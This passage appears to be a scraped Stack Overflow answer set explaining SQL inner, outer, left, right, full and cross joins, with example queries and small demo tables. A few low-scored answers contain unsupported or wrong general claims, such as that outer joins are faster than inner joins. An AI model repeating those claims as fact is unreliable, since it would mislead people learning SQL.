"text": "<p>In Simple Terms,</p>\n\n<p>1.<strong>INNER JOIN OR EQUI JOIN :</strong> Returns the resultset that matches only the condition in both the tables.</p>\n\n<p>2.<strong>OUTER JOIN :</strong> Returns the resultset of all the values from both the tables even if there is condition match or not. </p>\n\n<p>3.<strong>LEFT JOIN :</strong> Returns the resultset of all the values from left table and only rows that match the condition in right table.</p>\n\n<p>4.<strong>RIGHT JOIN :</strong> Returns the resultset of all the values from right table and only rows that match the condition in left table.</p>\n\n<p>5.<strong>FULL JOIN :</strong> Full Join and Full outer Join are same.</p>\n"
},
{
"answer_id": 40486913,
"author": "S.Serpooshan",
"author_id": 2803565,
"author_profile": "https://Stackoverflow.com/users/2803565",
"pm_score": 5,
"selected": false,
"text": "<p>The precise algorithm for <code>INNER JOIN</code>, <code>LEFT/RIGHT OUTER JOIN</code> are as following: </p>\n\n<ol>\n<li>Take each row from the first table: <code>a</code></li>\n<li>Consider all rows from second table beside it: <code>(a, b[i])</code></li>\n<li>Evaluate the <code>ON ...</code> clause against each pair: <code>ON( a, b[i] ) = true/false?</code>\n\n<ul>\n<li>When the condition evaluates to <code>true</code>, return that combined row <code>(a, b[i])</code>.</li>\n<li>When reach end of second table without any match, and this is an <code>Outer Join</code> then return a <em>(virtual)</em> pair using <code>Null</code> for all columns of other table: <code>(a, Null)</code> for LEFT outer join or <code>(Null, b)</code> for RIGHT outer join. This is to ensure all rows of first table exists in final results.</li>\n</ul></li>\n</ol>\n\n<p><strong>Note:</strong> the condition specified in <code>ON</code> clause could be anything, it is not required to use <em>Primary Keys</em> (and you don't need to always refer to Columns from both tables)! For example:</p>\n\n<ul>\n<li><code>... ON T1.title = T2.title AND T1.version < T2.version</code> ( => see this post as a sample usage: <a href=\"https://stackoverflow.com/a/7745635/2803565\">Select only rows with max value on a column</a>)</li>\n<li><code>... ON T1.y IS NULL</code></li>\n<li><code>... ON 1 = 0</code> (just as sample)</li>\n</ul>\n\n<p><a href=\"https://i.stack.imgur.com/0dWzY.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/0dWzY.png\" alt=\"Inner Join vs. Left Outer Join\"></a></p>\n\n<hr>\n\n<p><a href=\"https://i.stack.imgur.com/Bsocp.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/Bsocp.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong>Note:</strong> Left Join = Left Outer Join, Right Join = Right Outer Join.</p>\n"
},
{
"answer_id": 45011393,
"author": "Laxmi",
"author_id": 6755093,
"author_profile": "https://Stackoverflow.com/users/6755093",
"pm_score": 3,
"selected": false,
"text": "<p>1.<strong>Inner Join:</strong> Also called as Join. It returns the rows present in both the Left table, and right table only <strong>if there is a match</strong>. Otherwise, it returns zero records.</p>\n\n<p>Example:</p>\n\n<pre><code>SELECT\n e1.emp_name,\n e2.emp_salary \nFROM emp1 e1\nINNER JOIN emp2 e2\n ON e1.emp_id = e2.emp_id\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/lWzlz.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lWzlz.jpg\" alt=\"output1\"></a></p>\n\n<p>2.<strong>Full Outer Join:</strong> Also called as Full Join. It returns <strong>all the rows</strong> present in both the Left table, and right table.</p>\n\n<p>Example:</p>\n\n<pre><code>SELECT\n e1.emp_name,\n e2.emp_salary \nFROM emp1 e1\nFULL OUTER JOIN emp2 e2\n ON e1.emp_id = e2.emp_id\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/3yY0Y.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3yY0Y.jpg\" alt=\"output2\"></a></p>\n\n<p>3.<strong>Left Outer join:</strong> Or simply called as Left Join. It returns all the rows present in the Left table and matching rows from the right table (if any).</p>\n\n<p>4.<strong>Right Outer Join:</strong> Also called as Right Join. It returns matching rows from the left table (if any), and all the rows present in the Right table.</p>\n\n<p><a href=\"https://i.stack.imgur.com/UIVk7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/UIVk7.png\" alt=\"joins\"></a></p>\n\n<p><strong>Advantages of Joins</strong></p>\n\n<ol>\n<li>Executes faster. </li>\n</ol>\n"
},
{
"answer_id": 46091641,
"author": "philipxy",
"author_id": 3404097,
"author_profile": "https://Stackoverflow.com/users/3404097",
"pm_score": 3,
"selected": false,
"text": "<p><code>left join on</code> returns <code>inner join on</code> rows <code>union all</code> unmatched left table rows extended by <code>null</code>s.</p>\n<p><code>right join on</code> returns <code>inner join on</code> rows <code>union all</code> unmatched right table rows extended by <code>null</code>s.</p>\n<p><code>full join on</code> returns <code>inner join on</code> rows<code>union all</code> unmatched left table rows extended by <code>null</code>s <code>union all</code> unmatched right table rows extended by <code>null</code>s.</p>\n<p><code>outer</code> is optional & has no effect.</p>\n<p>(SQL Standard 2006 SQL/Foundation 7.7 Syntax Rules 1, General Rules 1 b, 3 c & d, 5 b.)</p>\n<p>So don't <code>outer join on</code> until you know what underlying <code>inner join on</code> is involved.</p>\n<hr />\n<p>Find out what rows <code>inner join on</code> returns:\n<a href=\"https://stackoverflow.com/a/25957600/3404097\">CROSS JOIN vs INNER JOIN in SQL</a></p>\n<p>That also explains why Venn(-like) diagrams are not helpful for inner vs outer join.\nFor more on why they are not helpful for joins generally:\n<a href=\"https://stackoverflow.com/a/55642928/3404097\">Venn Diagram for Natural Join</a></p>\n"
},
{
"answer_id": 46790107,
"author": "rashedcs",
"author_id": 6714430,
"author_profile": "https://Stackoverflow.com/users/6714430",
"pm_score": 2,
"selected": false,
"text": "<p>The difference between <code>inner join</code> and <code>outer join</code> is as follow:</p>\n\n<ol>\n<li><code>Inner join</code> is a join that combined tables based on matching tuples, whereas <code>outer join</code> is a join that combined table based on both matched and unmatched tuple.</li>\n<li><code>Inner join</code> merges matched row from two table in where unmatched row are omitted, whereas <code>outer join</code> merges rows from two tables and unmatched rows fill with null value.</li>\n<li><code>Inner join</code> is like an intersection operation, whereas <code>outer join</code> is like an union operation.</li>\n<li><code>Inner join</code> is two types, whereas <code>outer join</code> are three types.</li>\n<li><code>outer join</code> is faster than <code>inner join</code>.</li>\n</ol>\n"
},
{
"answer_id": 47981412,
"author": "Premraj",
"author_id": 1697099,
"author_profile": "https://Stackoverflow.com/users/1697099",
"pm_score": 5,
"selected": false,
"text": "<p><a href=\"https://i.stack.imgur.com/TBMzF.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/TBMzF.jpg\" alt=\"enter image description here\"></a></p>\n\n<ul>\n<li><code>INNER JOIN</code> most typical join for two or more tables.\nIt returns data match on both table ON primarykey and forignkey relation.</li>\n<li><code>OUTER JOIN</code> is same as <code>INNER JOIN</code>, but it also include <code>NULL</code> data on ResultSet.\n\n<ul>\n<li><code>LEFT JOIN</code> = <code>INNER JOIN</code> + Unmatched data of <strong>left</strong> table with <code>Null</code> match on right table.</li>\n<li><code>RIGHT JOIN</code> = <code>INNER JOIN</code> + Unmatched data of <strong>right</strong> table with <code>Null</code> match on left table.</li>\n<li><code>FULL JOIN</code> = <code>INNER JOIN</code> + Unmatched data on <strong>both right and left</strong> tables with <code>Null</code> matches.</li>\n</ul></li>\n<li>Self join is not a keyword in SQL, when a table references data in itself knows as self join. Using <code>INNER JOIN</code> and <code>OUTER JOIN</code> we can write self join queries.</li>\n</ul>\n\n<p>For example:</p>\n\n<pre><code>SELECT * \nFROM tablea a \n INNER JOIN tableb b \n ON a.primary_key = b.foreign_key \n INNER JOIN tablec c \n ON b.primary_key = c.foreign_key \n</code></pre>\n"
},
{
"answer_id": 53468691,
"author": "Mayank Porwal",
"author_id": 5820814,
"author_profile": "https://Stackoverflow.com/users/5820814",
"pm_score": 2,
"selected": false,
"text": "<p>Consider below 2 tables:</p>\n\n<p><strong>EMP</strong></p>\n\n<pre><code>empid name dept_id salary\n1 Rob 1 100\n2 Mark 1 300\n3 John 2 100\n4 Mary 2 300\n5 Bill 3 700\n6 Jose 6 400\n</code></pre>\n\n<p><strong>Department</strong></p>\n\n<pre><code>deptid name\n1 IT\n2 Accounts\n3 Security\n4 HR\n5 R&D\n</code></pre>\n\n<h3>Inner Join:</h3>\n\n<p>Mostly written as just <strong>JOIN</strong> in sql queries. It returns only the matching records between the tables.</p>\n\n<h3>Find out all employees and their department names:</h3>\n\n<pre><code>Select a.empid, a.name, b.name as dept_name\nFROM emp a\nJOIN department b\nON a.dept_id = b.deptid\n;\n\nempid name dept_name\n1 Rob IT\n2 Mark IT\n3 John Accounts\n4 Mary Accounts\n5 Bill Security\n</code></pre>\n\n<p>As you see above, <code>Jose</code> is not printed from <strong>EMP</strong> in the output as it's dept_id <code>6</code> does not find a match in the Department table. Similarly, <code>HR</code> and <code>R&D</code> rows are not printed from <strong>Department</strong> table as they didn't find a match in the Emp table. </p>\n\n<p><strong>So, INNER JOIN or just JOIN, returns only matching rows.</strong></p>\n\n<h3>LEFT JOIN :</h3>\n\n<p>This returns all records from the LEFT table and only matching records from the RIGHT table.</p>\n\n<pre><code>Select a.empid, a.name, b.name as dept_name\nFROM emp a\nLEFT JOIN department b\nON a.dept_id = b.deptid\n;\n\nempid name dept_name\n1 Rob IT\n2 Mark IT\n3 John Accounts\n4 Mary Accounts\n5 Bill Security\n6 Jose \n</code></pre>\n\n<p>So, if you observe the above output, all records from the LEFT table(Emp) are printed with just matching records from RIGHT table.</p>\n\n<p><code>HR</code> and <code>R&D</code> rows are not printed from <strong>Department</strong> table as they didn't find a match in the Emp table on dept_id.</p>\n\n<p><strong>So, LEFT JOIN returns ALL rows from Left table and only matching rows from RIGHT table.</strong> </p>\n\n<p>Can also check DEMO <a href=\"https://dbfiddle.uk/?rdbms=postgres_11&fiddle=9dbdd6cf405ae24c5e2a0798a732d389\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
},
{
"answer_id": 58563070,
"author": "ForguesR",
"author_id": 1980659,
"author_profile": "https://Stackoverflow.com/users/1980659",
"pm_score": 2,
"selected": false,
"text": "<p>There are a lot of good answers here with very accurate <a href=\"https://en.wikipedia.org/wiki/Relational_algebra\" rel=\"nofollow noreferrer\">relational algebra</a> examples. Here is a very simplified answer that might be helpful for amateur or novice coders with SQL coding dilemmas.</p>\n<p>Basically, more often than not, <code>JOIN</code> queries boil down to two cases:</p>\n<p>For a <code>SELECT</code> of a subset of <code>A</code> data:</p>\n<ul>\n<li>use <code>INNER JOIN</code> when the related <code>B</code> data you are looking for <strong>MUST</strong> exist per database design;</li>\n<li>use <code>LEFT JOIN</code> when the related <code>B</code> data you are looking for <strong>MIGHT</strong> or <strong>MIGHT NOT</strong> exist per database design.</li>\n</ul>\n"
},
{
"answer_id": 61647208,
"author": "Scratte",
"author_id": 12695027,
"author_profile": "https://Stackoverflow.com/users/12695027",
"pm_score": 5,
"selected": false,
"text": "<h1>The General Idea</h1>\n<p>Please see the <a href=\"https://stackoverflow.com/a/27458534/12695027\">answer</a> by <a href=\"https://stackoverflow.com/users/73226\">Martin Smith</a> for a better illustations and explanations of the different joins, including and especially differences between <code>FULL OUTER JOIN</code>, <code>RIGHT OUTER JOIN</code> and <code>LEFT OUTER JOIN</code>.</p>\n<p>These two table form a basis for the representation of the <code>JOIN</code>s below:</p>\n<p><img src=\"https://i.stack.imgur.com/DEAAy.png\" alt=\"Basis\" /></p>\n<h3>CROSS JOIN</h3>\n<p><img src=\"https://i.stack.imgur.com/EqnB9.png\" alt=\"CrossJoin\" /></p>\n<pre><code>SELECT *\n FROM citizen\n CROSS JOIN postalcode\n</code></pre>\n<p>The result will be the Cartesian products of all combinations. No <code>JOIN</code> condition required:</p>\n<p><img src=\"https://i.stack.imgur.com/eeFIB.png\" alt=\"CrossJoinResult\" /></p>\n<h3>INNER JOIN</h3>\n<p><code>INNER JOIN</code> is the same as simply: <code>JOIN</code></p>\n<p><img src=\"https://i.stack.imgur.com/oXqs0.png\" alt=\"InnerJoin\" /></p>\n<pre><code>SELECT *\n FROM citizen c\n JOIN postalcode p ON c.postal = p.postal\n</code></pre>\n<p>The result will be combinations that satisfies the required <code>JOIN</code> condition:</p>\n<p><img src=\"https://i.stack.imgur.com/aaNvi.png\" alt=\"InnerJoinResult\" /></p>\n<h3>LEFT OUTER JOIN</h3>\n<p><code>LEFT OUTER JOIN</code> is the same as <code>LEFT JOIN</code></p>\n<p><img src=\"https://i.stack.imgur.com/qmy29.png\" alt=\"LeftJoin\" /></p>\n<pre><code>SELECT *\n FROM citizen c\n LEFT JOIN postalcode p ON c.postal = p.postal\n</code></pre>\n<p>The result will be everything from <code>citizen</code> even if there are no matches in <code>postalcode</code>. Again a <code>JOIN</code> condition is required:</p>\n<p><img src=\"https://i.stack.imgur.com/mbaqJ.png\" alt=\"LeftJoinResult\" /></p>\n<h3>Data for playing</h3>\n<p>All examples have been run on an Oracle 18c. They're available at <a href=\"https://dbfiddle.uk/?rdbms=oracle_18&fiddle=19be5f6abb0a5987fddf037b5df343bd\" rel=\"noreferrer\">dbfiddle.uk</a> which is also where screenshots of tables came from.</p>\n<pre><code>CREATE TABLE citizen (id NUMBER,\n name VARCHAR2(20),\n postal NUMBER, -- <-- could do with a redesign to postalcode.id instead.\n leader NUMBER);\n\nCREATE TABLE postalcode (id NUMBER,\n postal NUMBER,\n city VARCHAR2(20),\n area VARCHAR2(20));\n\nINSERT INTO citizen (id, name, postal, leader)\n SELECT 1, 'Smith', 2200, null FROM DUAL\n UNION SELECT 2, 'Green', 31006, 1 FROM DUAL\n UNION SELECT 3, 'Jensen', 623, 1 FROM DUAL;\n\nINSERT INTO postalcode (id, postal, city, area)\n SELECT 1, 2200, 'BigCity', 'Geancy' FROM DUAL\n UNION SELECT 2, 31006, 'SmallTown', 'Snizkim' FROM DUAL\n UNION SELECT 3, 31006, 'Settlement', 'Moon' FROM DUAL -- <-- Uuh-uhh.\n UNION SELECT 4, 78567390, 'LookoutTowerX89', 'Space' FROM DUAL;\n</code></pre>\n<h1>Blurry boundaries when playing with <code>JOIN</code> and <code>WHERE</code></h1>\n<h3>CROSS JOIN</h3>\n<p><code>CROSS JOIN</code> resulting in rows as The General Idea/<code>INNER JOIN</code>:</p>\n<pre><code>SELECT *\n FROM citizen c\n CROSS JOIN postalcode p\n WHERE c.postal = p.postal -- < -- The WHERE condition is limiting the resulting rows\n</code></pre>\n<p>Using <code>CROSS JOIN</code> to get the result of a <code>LEFT OUTER JOIN</code> requires tricks like adding in a <code>NULL</code> row. It's omitted.</p>\n<h2>INNER JOIN</h2>\n<p><code>INNER JOIN</code> becomes a cartesian products. It's the same as The General Idea/<code>CROSS JOIN</code>:</p>\n<pre><code>SELECT *\n FROM citizen c\n JOIN postalcode p ON 1 = 1 -- < -- The ON condition makes it a CROSS JOIN\n</code></pre>\n<p>This is where the inner join can really be seen as the cross join with results not matching the condition removed. Here none of the resulting rows are removed.</p>\n<p>Using <code>INNER JOIN</code> to get the result of a <code>LEFT OUTER JOIN</code> also requires tricks. It's omitted.</p>\n<h2>LEFT OUTER JOIN</h2>\n<p><code>LEFT JOIN</code> results in rows as The General Idea/<code>CROSS JOIN</code>:</p>\n<pre><code>SELECT *\n FROM citizen c\n LEFT JOIN postalcode p ON 1 = 1 -- < -- The ON condition makes it a CROSS JOIN\n</code></pre>\n<p><code>LEFT JOIN</code> results in rows as The General Idea/<code>INNER JOIN</code>:</p>\n<pre><code>SELECT *\n FROM citizen c\n LEFT JOIN postalcode p ON c.postal = p.postal\n WHERE p.postal IS NOT NULL -- < -- removed the row where there's no mathcing result from postalcode\n</code></pre>\n<hr />\n<h1>The troubles with the Venn diagram</h1>\n<p>An image internet search on "sql join cross inner outer" will show a multitude of Venn diagrams. I used to have a printed copy of one on my desk. But there are issues with the representation.</p>\n<p>Venn diagram are excellent for set theory, where an element can be in one or both sets. But for databases, an element in one "set" seem, to me, to be a row in a table, and therefore not also present in any other tables. There is no such thing as one row present in multiple tables. A row is unique to the table.</p>\n<p>Self joins are a corner case where each element is in fact the same in both sets. But it's still not free of any of the issues below.</p>\n<p>The set <code>A</code> represents the set on the left (the <code>citizen</code> table) and the set <code>B</code> is the set on the right (the <code>postalcode</code> table) in below discussion.</p>\n<h3>CROSS JOIN</h3>\n<p>Every element in both sets are matched with every element in the other set, meaning we need <code>A</code> amount of every <code>B</code> elements and <code>B</code> amount of every <code>A</code> elements to properly represent this Cartesian product. Set theory isn't made for multiple identical elements in a set, so I find Venn diagrams to properly represent it impractical/impossible. It doesn't seem that <code>UNION</code> fits at all.</p>\n<p>The rows are distinct. The <code>UNION</code> is 7 rows in total. But they're incompatible for a common <code>SQL</code> results set. And this is not how a <code>CROSS JOIN</code> works at all:</p>\n<p><img src=\"https://i.stack.imgur.com/MqN6E.png\" alt=\"CrossJoinUnion1\" /></p>\n<p>Trying to represent it like this:</p>\n<p><img src=\"https://i.stack.imgur.com/1BhEE.png\" alt=\"CrossJoinUnion2Crossing\" /></p>\n<p>..but now it just looks like an <code>INTERSECTION</code>, which it's certainly <strong>not</strong>. Furthermore there's no element in the <code>INTERSECTION</code> that is actually in any of the two distinct sets. However, it looks very much like the searchable results similar to this:</p>\n<p><img src=\"https://i.stack.imgur.com/syxYr.png\" alt=\"CrossJoinUnionUnion3\" /></p>\n<p>For reference one searchable result for <code>CROSS JOIN</code>s can be seen at <a href=\"https://www.tutorialgateway.org/sql-joins/\" rel=\"noreferrer\">Tutorialgateway</a>. The <code>INTERSECTION</code>, just like this one, is empty.</p>\n<h3>INNER JOIN</h3>\n<p>The value of an element depends on the <code>JOIN</code> condition. It's possible to represent this under the condition that every row becomes unique to that condition. Meaning <code>id=x</code> is only true for <strong>one</strong> row. Once a row in table <code>A</code> (<code>citizen</code>) matches multiple rows in table <code>B</code> (<code>postalcode</code>) under the <code>JOIN</code> condition, the result has the same problems as the <code>CROSS JOIN</code>: The row needs to be represented multiple times, and the set theory isn't really made for that. Under the condition of uniqueness, the diagram could work though, but keep in mind that the <code>JOIN</code> condition determines the placement of an element in the diagram. Looking only at the values of the <code>JOIN</code> condition with the rest of the row just along for the ride:</p>\n<p><img src=\"https://i.stack.imgur.com/djpSE.png\" alt=\"InnerJoinIntersection - Filled\" /></p>\n<p>This representation falls completely apart when using an <code>INNER JOIN</code> with a <code>ON 1 = 1</code> condition making it into a <code>CROSS JOIN</code>.</p>\n<p>With a self-<code>JOIN</code>, the rows are in fact idential elements in both tables, but representing the tables as both <code>A</code> and <code>B</code> isn't very suitable. For example a common self-<code>JOIN</code> condition that makes an element in <code>A</code> to be matching a <strong>different</strong> element in B is <code>ON A.parent = B.child</code>, making the match from <code>A</code> to <code>B</code> on seperate elements. From the examples that would be a <code>SQL</code> like this:</p>\n<pre><code>SELECT *\n FROM citizen c1\n JOIN citizen c2 ON c1.id = c2.leader\n</code></pre>\n<p><img src=\"https://i.stack.imgur.com/p5r7D.png\" alt=\"SelfJoinResult\" /></p>\n<p>Meaning Smith is the leader of both Green and Jensen.</p>\n<h3>OUTER JOIN</h3>\n<p>Again the troubles begin when one row has multiple matches to rows in the other table. This is further complicated because the <code>OUTER JOIN</code> can be though of as to match the empty set. But in set theory the union of any set <code>C</code> and an empty set, is always just <code>C</code>. The empty set adds nothing. The representation of this <code>LEFT OUTER JOIN</code> is usually just showing all of <code>A</code> to illustrate that rows in <code>A</code> are selected regardless of whether there is a match or not from <code>B</code>. The "matching elements" however has the same problems as the illustration above. They depend on the condition. And the empty set seems to have wandered over to <code>A</code>:</p>\n<p><img src=\"https://i.stack.imgur.com/Q2yFW.png\" alt=\"LeftJoinIntersection - Filled\" /></p>\n<h3>WHERE clause - making sense</h3>\n<p>Finding all rows from a <code>CROSS JOIN</code> with Smith and postalcode on the Moon:</p>\n<pre><code>SELECT *\n FROM citizen c\n CROSS JOIN postalcode p\n WHERE c.name = 'Smith'\n AND p.area = 'Moon';\n</code></pre>\n<p><img src=\"https://i.stack.imgur.com/Iy4Z3.png\" alt=\"Where - result\" /></p>\n<p>Now the Venn diagram isn't used to reflect the <code>JOIN</code>. It's used <strong>only</strong> for the <code>WHERE</code> clause:</p>\n<p><img src=\"https://i.stack.imgur.com/fmxEr.png\" alt=\"Where\" /></p>\n<p>..and that makes sense.</p>\n<h1>When INTERSECT and UNION makes sense</h1>\n<h3>INTERSECT</h3>\n<p>As explained an <code>INNER JOIN</code> is not really an <code>INTERSECT</code>. However <code>INTERSECT</code>s can be used on results of seperate queries. Here a Venn diagram makes sense, because the elements from the seperate queries are in fact rows that either belonging to just one of the results or both. Intersect will obviously only return results where the row is present in both queries. This <code>SQL</code> will result in the same row as the one above <code>WHERE</code>, and the Venn diagram will also be the same:</p>\n<pre><code>SELECT *\n FROM citizen c\n CROSS JOIN postalcode p\n WHERE c.name = 'Smith'\nINTERSECT\nSELECT *\n FROM citizen c\n CROSS JOIN postalcode p\n WHERE p.area = 'Moon';\n</code></pre>\n<h3>UNION</h3>\n<p>An <code>OUTER JOIN</code> is not a <code>UNION</code>. However <code>UNION</code> work under the same conditions as <code>INTERSECT</code>, resulting in a return of all results combining both <code>SELECT</code>s:</p>\n<pre><code>SELECT *\n FROM citizen c\n CROSS JOIN postalcode p\n WHERE c.name = 'Smith'\nUNION\nSELECT *\n FROM citizen c\n CROSS JOIN postalcode p\n WHERE p.area = 'Moon';\n</code></pre>\n<p>which is equivalent to:</p>\n<pre><code>SELECT *\n FROM citizen c\n CROSS JOIN postalcode p\n WHERE c.name = 'Smith'\n OR p.area = 'Moon';\n</code></pre>\n<p>..and gives the result:</p>\n<p><img src=\"https://i.stack.imgur.com/FTPRr.png\" alt=\"Union - Result\" /></p>\n<p>Also here a Venn diagram makes sense:</p>\n<p><img src=\"https://i.stack.imgur.com/GW69a.png\" alt=\"UNION\" /></p>\n<h3>When it doesn't apply</h3>\n<p>An <strong>important note</strong> is that these only work when the structure of the results from the two SELECT's are the same, enabling a comparison or union. The results of these two will not enable that:</p>\n<pre><code>SELECT *\n FROM citizen\n WHERE name = 'Smith'\n</code></pre>\n<pre><code>SELECT *\n FROM postalcode\n WHERE area = 'Moon';\n</code></pre>\n<p>..trying to combine the results with <code>UNION</code> gives a</p>\n<pre><code>ORA-01790: expression must have same datatype as corresponding expression\n</code></pre>\n<hr />\n<p>For further interest read <a href=\"https://blog.jooq.org/say-no-to-venn-diagrams-when-explaining-joins/\" rel=\"noreferrer\">Say NO to Venn Diagrams When Explaining JOINs</a> and <a href=\"https://stackoverflow.com/questions/13997365/sql-joins-as-venn-diagram\">sql joins as venn diagram</a>. Both also cover <code>EXCEPT</code>.</p>\n"
},
{
"answer_id": 63190387,
"author": "HUGO-DEV",
"author_id": 11786005,
"author_profile": "https://Stackoverflow.com/users/11786005",
"pm_score": 2,
"selected": false,
"text": "<p><strong>Joins are more easily explained with an example:</strong></p>\n<p><a href=\"https://i.stack.imgur.com/DxeqP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DxeqP.png\" alt=\"enter image description here\" /></a></p>\n<p>To simulate persons and emails stored in separate tables,</p>\n<p>Table A and Table B are joined by Table_A.<strong>id</strong> = Table_B.<strong>name_id</strong></p>\n<p><strong>Inner Join</strong></p>\n<p><a href=\"https://i.stack.imgur.com/l4sbv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/l4sbv.png\" alt=\"enter image description here\" /></a></p>\n<p>Only matched ids' rows are shown.</p>\n<p><strong>Outer Joins</strong></p>\n<p><a href=\"https://i.stack.imgur.com/gL8gT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gL8gT.png\" alt=\"enter image description here\" /></a></p>\n<p>Matched ids and not matched rows for <strong>Table A</strong> are shown.</p>\n<p><a href=\"https://i.stack.imgur.com/kXk4J.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kXk4J.png\" alt=\"enter image description here\" /></a></p>\n<p>Matched ids and not matched rows for <strong>Table B</strong> are shown.</p>\n<p><a href=\"https://i.stack.imgur.com/736nT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/736nT.png\" alt=\"enter image description here\" /></a>\nMatched ids and not matched rows from both Tables are shown.</p>\n<p><em>Note: Full outer join is not available on MySQL</em></p>\n"
},
{
"answer_id": 67235945,
"author": "Nathan Long",
"author_id": 4376,
"author_profile": "https://Stackoverflow.com/users/4376",
"pm_score": 1,
"selected": false,
"text": "<h1>A Demonstration</h1>\n<h2>Setup</h2>\n<p>Hop into <code>psql</code> and create a tiny database of cats and humans.\nYou can just copy-paste this whole section.</p>\n<pre class=\"lang-sql prettyprint-override\"><code>CREATE DATABASE catdb;\n\\c catdb;\n\\pset null '[NULL]' -- how to display null values\n\nCREATE TABLE humans (\n name text primary key\n);\nCREATE TABLE cats (\n human_name text references humans(name),\n name text\n);\n\nINSERT INTO humans (name)\nVALUES ('Abe'), ('Ann'), ('Ben'), ('Jen');\n\nINSERT INTO cats (human_name, name)\nVALUES\n('Abe', 'Axel'),\n(NULL, 'Bitty'),\n('Jen', 'Jellybean'),\n('Jen', 'Juniper');\n</code></pre>\n<h2>Querying</h2>\n<p>Here's a query we'll run several times, changing <code>[SOMETHING JOIN]</code> to the various types to see the results.</p>\n<pre class=\"lang-sql prettyprint-override\"><code>SELECT\nhumans.name AS human_name,\ncats.name AS cat_name\nFROM humans\n[SOMETHING JOIN] cats ON humans.name = cats.human_name\nORDER BY humans.name;\n</code></pre>\n<p>An <code>INNER JOIN</code> returns all human-cat pairs.\nAny human without a cat or cat without a human is excluded.</p>\n<pre><code> human_name | cat_name\n------------+-----------\n Abe | Axel\n Jen | Jellybean\n Jen | Juniper\n</code></pre>\n<p>A <code>FULL OUTER JOIN</code> returns all humans and all cats, with <code>NULL</code> if there is no match on either side.</p>\n<pre><code> human_name | cat_name\n------------+-----------\n Abe | Axel\n Ann | [NULL]\n Ben | [NULL]\n Jen | Jellybean\n Jen | Juniper\n [NULL] | Bitty\n</code></pre>\n<p>A <code>LEFT OUTER JOIN</code> returns all humans (the left table).\nAny human without a cat gets a <code>NULL</code> in the <code>cat_name</code> column.\nAny cat without a human is excluded.</p>\n<pre><code> human_name | cat_name\n------------+-----------\n Abe | Axel\n Ann | [NULL]\n Ben | [NULL]\n Jen | Jellybean\n Jen | Juniper\n</code></pre>\n<p>A <code>RIGHT OUTER JOIN</code> returns all cats (the right table).\nAny cat without a human gets a <code>NULL</code> in the <code>human_name</code> column.\nAny human without a cat is excluded.</p>\n<pre><code> human_name | cat_name\n------------+-----------\n Abe | Axel\n Jen | Jellybean\n Jen | Juniper\n [NULL] | Bitty\n</code></pre>\n<h2>INNER vs OUTER</h2>\n<p>You can see that while an <code>INNER JOIN</code> gets only matching pairs, each kind of <code>OUTER</code> join includes some items without a match.</p>\n<p>However, the actual words <code>INNER</code> and <code>OUTER</code> do not need to appear in queries:</p>\n<ul>\n<li><code>JOIN</code> by itself implies <code>INNER</code></li>\n<li><code>LEFT JOIN</code>, <code>RIGHT JOIN</code> and <code>OUTER JOIN</code> all imply <code>OUTER</code></li>\n</ul>\n"
},
{
"answer_id": 73510726,
"author": "Braiam",
"author_id": 792066,
"author_profile": "https://Stackoverflow.com/users/792066",
"pm_score": 0,
"selected": false,
"text": "<p>The "outer" and "inner" are just optional elements, you are just dealing with two (three) kinds of joins. Inner joins (or what is the default when using only "join") is a join where only the elements that match the criteria are present on both tables.</p>\n<p>The "outer" joins are the same as the inner join plus the elements of the left or right table that didn't match, adding nulls on all columns for the other table.</p>\n<p>The full join is the inner plus the right and left joins.</p>\n<p>In summary, if we have table A like this</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>idA</th>\n<th>ColumnTableA</th>\n<th>idB</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>1</td>\n<td>Jonh</td>\n<td>1</td>\n</tr>\n<tr>\n<td>2</td>\n<td>Sarah</td>\n<td>1</td>\n</tr>\n<tr>\n<td>3</td>\n<td>Clark</td>\n<td>2</td>\n</tr>\n<tr>\n<td>4</td>\n<td>Barbie</td>\n<td>NULL</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>And table B like this:</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>idB</th>\n<th>ColumnTableB</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>1</td>\n<td>Connor</td>\n</tr>\n<tr>\n<td>2</td>\n<td>Kent</td>\n</tr>\n<tr>\n<td>3</td>\n<td>Spock</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>The inner join:</p>\n<pre><code>from tableA join tableB on tableA.idB = tableB.idB\n</code></pre>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>idA</th>\n<th>ColumnTableA</th>\n<th>idB</th>\n<th>ColumnTableB</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>1</td>\n<td>Jonh</td>\n<td>1</td>\n<td>Connor</td>\n</tr>\n<tr>\n<td>2</td>\n<td>Sarah</td>\n<td>1</td>\n<td>Connor</td>\n</tr>\n<tr>\n<td>3</td>\n<td>Clark</td>\n<td>2</td>\n<td>Kent</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>Left outer join:</p>\n<pre><code>from tableA left join tableB on tableA.idB = tableB.idB\n</code></pre>\n<div class=\"s-table-container\">\n<table 